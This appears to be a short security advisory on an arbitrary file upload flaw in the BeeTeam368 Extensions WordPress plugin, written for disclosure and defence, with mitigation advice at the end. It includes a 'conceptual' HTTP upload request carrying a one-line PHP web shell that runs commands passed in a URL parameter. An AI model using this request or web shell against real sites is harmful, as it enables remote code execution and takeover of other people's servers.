How the Exploit Works
The vulnerability lies in the handle_submit_upload_file() function, which is responsible for handling file uploads in the BeeTeam368 Extensions plugin for WordPress. This function fails to validate the file type during the upload process. As a result, an attacker with Subscriber-level access can upload arbitrary files to the affected site’s server. This could potentially allow for remote code execution if an attacker uploads a file with malicious code.
Conceptual Example Code
The following HTTP request represents a
conceptual
example of how the vulnerability might be exploited. An attacker could use this to upload a malicious file to the server.
POST /wp-content/plugins/BeeTeam368/upload.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--Mitigation Guidance
Until the vendor provides a security patch, it is recommended to use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation strategy. These tools can help detect and block malicious file uploads. If a patch becomes available, it should be applied immediately to all systems running the BeeTeam368 Extensions plugin for WordPress. Regularly updating systems and applications to the latest available versions remains the most effective way to protect against known vulnerabilities.
